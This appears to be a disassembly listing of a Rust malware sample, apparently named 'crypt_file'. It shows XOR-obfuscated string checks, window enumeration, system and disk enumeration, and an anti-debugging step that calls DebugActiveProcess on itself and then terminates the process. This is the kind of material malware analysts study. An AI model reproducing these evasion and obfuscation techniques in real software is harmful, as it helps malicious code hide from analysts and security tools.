mov ecx, dword [eax]
mov edx, 0x735ed358
mov edi, 0x8f857f82
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, byte [eax + 8]
mov dword [esp + 0xe0], ecx
xor edx, edi
xor al, 0xb8
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov edx, 9
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1010f7b9]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xcf7cec19
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h26d9c54d588e4ce3
add esp, 8
mov ecx, dword [eax]
mov edx, 0x68542018
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], ecx
mov ecx, 0x66bd9053
xor edx, ecx
mov ecx, 0x4244db08
xor al, 0xda
xor ah, 0x44
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov edx, 0xe
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011ad48]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x4d2e9fcf
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hf15b8d5cd623bdd4
add esp, 8
mov ecx, dword [eax]
mov edx, 0x95675e54
mov edi, 0xab11c142
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, byte [eax + 8]
mov dword [esp + 0xe0], ecx
xor edx, edi
xor al, 0x1e
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov edx, 9
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10114fd6]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x3a7ed6b3
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h2a22b8a34dad7e7f
add esp, 8
mov edx, dword [eax]
mov ecx, 0x5928bb8
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0xc851988a
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0x6a
xor cl, 0x54
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x101138be]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x9a30c3f7
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h77de00bac15d861d
add esp, 8
mov ecx, dword [eax]
mov edx, 0x30e16524
mov edi, 0x94f88bc6
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0xc6
xor edx, edi
xor ah, 0x29
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1010e974]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x7618671d
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hea554c4f0279bea0
add esp, 8
mov ecx, dword [eax]
mov edx, 0xc3e1298c
mov edi, 0x3ccb8664
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0x87
xor edx, edi
xor ah, 0x2c
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011582f]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x9b6ef9d6
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hb2044d083e13f61d
add esp, 8
mov ecx, dword [eax]
mov edx, 0x74cf9323
xor ecx, edx
movzx edx, byte [eax + 6]
movzx eax, word [eax + 4]
mov dword [esp + 0xe0], ecx
xor al, 0xb6
xor ah, 0xbe
xor dl, 0xdd
mov byte [esp + 0xe4], al
mov byte [esp + 0xe5], ah
mov byte [esp + 0xe6], dl
mov edx, 7
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10116335]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xcaa07a36
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h754127e0b70da460
add esp, 8
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, 0x4154a02a
xor ecx, edx
mov edx, 0x7f60dac2
xor eax, edx
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], eax
mov edx, 8
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10111613]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x5d354edc
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h776b8df698cb1ed5
add esp, 8
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, 0x2f55c5ae
xor ecx, edx
mov edx, 0x6be9859e
xor eax, edx
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], eax
mov edx, 8
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10111e8c]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x92350086
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h4b8442cd4a925252
add esp, 8
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, 0x46ae84a
xor ecx, edx
mov edx, 0x75131b9b
xor eax, edx
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], eax
mov edx, 8
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011df5a]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x97b77e61
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hd8b330e9a5f116b3
add esp, 8
mov ecx, dword [eax]
mov edx, 0x137c3ae1
mov edi, 0x102a4ed1
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, byte [eax + 8]
mov dword [esp + 0xe0], ecx
xor edx, edi
xor al, 9
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov edx, 9
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011749a]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x9c3b6031
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hebf7d22d075b262a
add esp, 8
mov ecx, dword [eax]
mov edx, 0x95c89d10
mov edi, 0x4b311a85
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0x15
xor edx, edi
xor ah, 0x58
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10116b60]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x3a666646
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h4f5784d3a1fc28fc
add esp, 8
mov ecx, dword [eax]
mov edx, 0x8900787e
mov edi, 0x47f09459
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0x64
xor edx, edi
xor ah, 0x42
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10113406]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x8fffe823
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::he28867d5a98f73a2
add esp, 8
mov ecx, dword [eax]
mov edx, 0x6a5c33bf
mov edi, 0x695f10ea
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0x2b
xor edx, edi
xor ah, 0xbc
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011b8f3]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xbabc8d35
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::ha03dbe0056d13886
add esp, 8
mov ecx, dword [eax]
mov edx, 0x3bf4f4c6
mov edi, 0x8e0a870
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0x67
xor edx, edi
xor ah, 0x76
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011a061]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xf037a7be
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h15b257fe3e8daf4e
add esp, 8
mov ecx, dword [eax]
mov edx, 0x99230e48
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
mov ebx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
mov dword [esp + 0xe0], ecx
mov ecx, 0xe5a4359d
xor edx, ecx
mov ecx, 0x1e326d6
xor esi, ecx
mov ecx, 0xc2035d0a
mov dword [esp + 0xe4], edx
xor ebx, ecx
mov dword [esp + 0xe8], esi
mov ecx, 0x9deb72bb
lea esi, [esp + 0xe0]
mov dword [esp + 0xec], ebx
mov ebx, dword [esp + 0xc]
xor eax, ecx
mov dword [esp + 0xf0], eax
mov edx, 0x14
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10112008]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xee9eaa37
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h5d2c24af4ffb4a6a
add esp, 8
mov edx, dword [eax]
mov ecx, 0x654a815
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0xf99e767e
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0x16
xor ah, 0x17
xor cl, 0x64
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10111ea5]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x7e278d40
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h50b0f7423a394764
add esp, 8
mov ecx, dword [eax]
mov edx, 0xf2e36f58
mov edi, 0x7e0c3b5c
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0xf
xor edx, edi
xor ah, 0x3a
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10115f9c]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xe891d2c6
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h38a709b67519e06f
add esp, 8
mov ecx, dword [eax]
mov edx, 0x88805b94
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], ecx
mov ecx, 0xfda1d7cd
xor edx, ecx
mov ecx, 0x2c5a9841
xor al, 0xe8
xor ah, 0x7a
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov edx, 0xe
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011438b]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xd42e4337
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h4f3f0cfcac1b13d8
add esp, 8
mov edx, dword [eax]
mov esi, dword [eax + 4]
mov ecx, 0xc92adac1
mov ebx, dword [eax + 8]
xor edx, ecx
movzx ecx, byte [eax + 0xe]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], edx
mov edx, 0xdc24ccf8
xor esi, edx
mov edx, 0xf2c62a85
xor ebx, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
mov dword [esp + 0xe8], ebx
mov ebx, dword [esp + 0xc]
xor al, 0x8e
xor ah, 0xb8
xor cl, 0x44
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov byte [esp + 0xee], cl
mov edx, 0xf
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10118ed5]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xc301f691
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h35f94299bbc85ea7
add esp, 8
mov edx, dword [eax]
mov ecx, 0x4f97c32a
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0x49a9c2b3
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0xcc
xor ah, 0xd3
xor cl, 0xc
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011db3a]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x212fd178
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h78de1b87cd212cde
add esp, 8
mov edx, dword [eax]
mov ecx, 0x14ff4879
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0x43f2c6a1
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0x72
xor ah, 0x8d
xor cl, 0xfb
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x101170ae]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x7966cead
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hf8612f6c1fb13b89
add esp, 8
mov edx, dword [eax]
mov ecx, 0x454cd8e1
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0x14426ee9
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0xe6
xor ah, 0x26
xor cl, 0x73
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10116737]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x61900f10
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h2f704947903b7d57
add esp, 8
mov ecx, dword [eax]
mov edx, 0xbbbd552c
mov edi, 0x320369a0
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], ecx
xor al, 0x5b
xor edx, edi
xor ah, 0x81
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov edx, 0xa
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10113aa6]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x53585b76
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h3ed31d213b19a52d
add esp, 8
mov edx, dword [eax]
mov esi, dword [eax + 4]
mov ecx, 0x78f1e6ca
mov ebx, dword [eax + 8]
xor edx, ecx
movzx ecx, byte [eax + 0xe]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], edx
mov edx, 0xc1381f1e
xor esi, edx
mov edx, 0x99ac7013
xor ebx, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
mov dword [esp + 0xe8], ebx
mov ebx, dword [esp + 0xc]
xor al, 0x44
xor ah, 0x63
xor cl, 0x6d
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov byte [esp + 0xee], cl
mov edx, 0xf
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011861c]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x92106cc5
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h083faaabd4ac77b4
add esp, 8
mov ecx, dword [eax]
mov edx, 0x10fcb07e
mov edi, 0x589553e7
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, byte [eax + 8]
mov dword [esp + 0xe0], ecx
xor edx, edi
xor al, 0xf3
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov edx, 9
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10115e56]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x2636a476
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h08d6bed926c1b44a
add esp, 8
mov ecx, dword [eax]
mov edx, 0xe93c66db
xor ecx, edx
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0xe0], ecx
mov ecx, 0xd901b128
xor edx, ecx
mov ecx, 0xbbc11fa
xor eax, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], eax
mov edx, 0xc
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10119ec4]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x782ac933
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h1dac05ca210d8f3b
add esp, 8
mov edx, dword [eax]
mov ecx, 0xd39e7536
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0xba2fceea
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0x73
xor ah, 0x4d
xor cl, 0xa7
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011167e]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xe2c47a2e
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hd6d4df3dba7591d0
add esp, 8
mov ecx, dword [eax]
mov edx, 0x9e1f05a6
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], ecx
mov ecx, 0xabd4a493
xor edx, ecx
mov ecx, 0xd79dbd30
xor al, 0x8d
xor ah, 0x28
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov edx, 0xe
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10116ca3]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xd424feb6
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hceb62d3f684ad442
add esp, 8
mov ecx, dword [eax]
mov edx, 0xaf410152
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], ecx
mov ecx, 0x620bda07
xor edx, ecx
mov ecx, 0x302de2e2
xor al, 0x9a
xor ah, 0x7f
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov edx, 0xe
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x101189c5]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xee802499
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h7a1c5e629b86f9e2
add esp, 8
mov ecx, dword [eax]
mov edx, 0xea956805
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], ecx
mov ecx, 0xb528922f
xor edx, ecx
mov ecx, 0x4ac912b9
xor al, 0x36
xor ah, 0xd8
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov edx, 0xe
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011d8f9]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xec27fd67
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hdd2952611cd1162f
add esp, 8
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
mov edi, 0x2a685e11
movzx eax, byte [eax + 0xc]
xor ecx, edi
xor al, 0x63
mov dword [esp + 0xe0], ecx
mov ecx, 0x14e7b644
xor edx, ecx
mov ecx, 0xa7c7ad33
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov edx, 0xd
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
mov eax, dword [esp + 4]
test eax, eax
je 0x100043b7
push 1
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
dec ecx
jne 0x10002bff
push 0
push sym.__ZN10crypt_file9proc_sens17enum_windows_proc17h4ca4f766c618fc63E_8
call sub.user32.dll_EnumWindows
mov dword [esp + 0xe8], 0x80000000
mov dword [esp + 0xe0], 0
lea eax, [esp + 0x400]
push esi
push eax
call sym.std::thread::Builder::spawn_unchecked::h7193cac1de094db3
add esp, 8
cmp dword [esp + 0x400], 0
je 0x1000569d
mov eax, dword [esp + 0x408]
movq xmm0, qword [esp + 0x400]
mov dword [esp + 0x3c0], eax
movq qword [esp + 0x3b8], xmm0
lea eax, [esp + 0x400]
push eax
call sym.sysinfo::common::system::System::new_all::h797bdcbfc4a29777
add esp, 4
lea eax, [esp + 0xc0]
push eax
call sym.sysinfo::common::disk::Disks::new_with_refreshed_list::h9a3bbd43226c299a
add esp, 4
lea eax, [esp + 0x400]
push eax
call sym.sysinfo::common::system::System::refresh_all::h8762651a128de46b
add esp, 4
lea eax, [esp + 0xc0]
push eax
call sym.sysinfo::common::disk::Disks::refresh_list::h13c54091eca19027
add esp, 4
mov eax, dword [esp + 0xc4]
imul ecx, dword [esp + 0xc8], 0x58
jmp 0x1000449d
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea esi, [esp + 0xe0]
add eax, 0x58
add ecx, 0xffffffa8
test bl, bl
jne 0x1000470d
test ecx, ecx
je 0x10004a5c
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
push eax
call sym.sysinfo::common::disk::Disk::name::h0f9815c9324d5b75
add esp, 4
push edx
push eax
push esi
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::hfc18d045c7892185
add esp, 0xc
mov esi, dword [esp + 0xe8]
mov ebx, dword [esp + 0xe4]
test esi, esi
je 0x10004500
js 0x10005672
mov eax, dword [0x101918ac]
movzx eax, byte [eax]
push 1
push esi
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x10005669
mov edi, eax
jmp 0x10004505
mov edi, 1
mov dword [esp + 4], esi
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xe0]
test eax, 0x7fffffff
je 0x1000452e
push 1
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
lea eax, [0x1011401e]
lea esi, [esp + 0xe0]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xb5ea5b36
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::heda1d0455bbdfd56
add esp, 8
mov edx, dword [eax]
mov ebx, dword [eax + 4]
mov ecx, 0x946d264e
mov esi, edi
mov edi, dword [eax + 8]
xor edx, ecx
movzx ecx, byte [eax + 0xe]
movzx eax, word [eax + 0xc]
mov dword [esp + 0xe0], edx
mov edx, 0x243b3d9c
xor ebx, edx
mov edx, 0x329b1758
xor edi, edx
mov dword [esp + 0xe4], ebx
xor al, 0x60
mov dword [esp + 0xe8], edi
xor ah, 0xd3
mov edi, esi
xor cl, 0x77
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
mov byte [esp + 0xee], cl
mov edx, 0xf
lea ecx, [esp + 0xe0]
push dword [esp + 4]
push esi
call fcn.100018e0
add esp, 8
test al, al
jne 0x100046f9
lea eax, [0x10110c1c]
lea esi, [esp + 0xe0]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xbbdda5a9
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h1c409d0049717420
add esp, 8
mov ecx, dword [eax]
mov edx, 0x1ea37840
xor ecx, edx
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0xe0], ecx
mov ecx, 0x44c35235
xor edx, ecx
mov ecx, 0xfe394b97
xor eax, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], eax
mov edx, 0xc
mov ecx, esi
push dword [esp + 4]
push edi
call fcn.100018e0
add esp, 8
mov ebx, eax
mov eax, dword [esp + 4]
test eax, eax
je 0x10004480
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x10004480
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004697
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [esp + 4]
test eax, eax
je 0x100046ab
push 1
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
cmp byte [esp + 0x20], 0
jne 0x100046c4
push 1
push dword [esp + 0x18]
push dword [esp + 0x34]
call sym.___rust_dealloc
add esp, 0xc
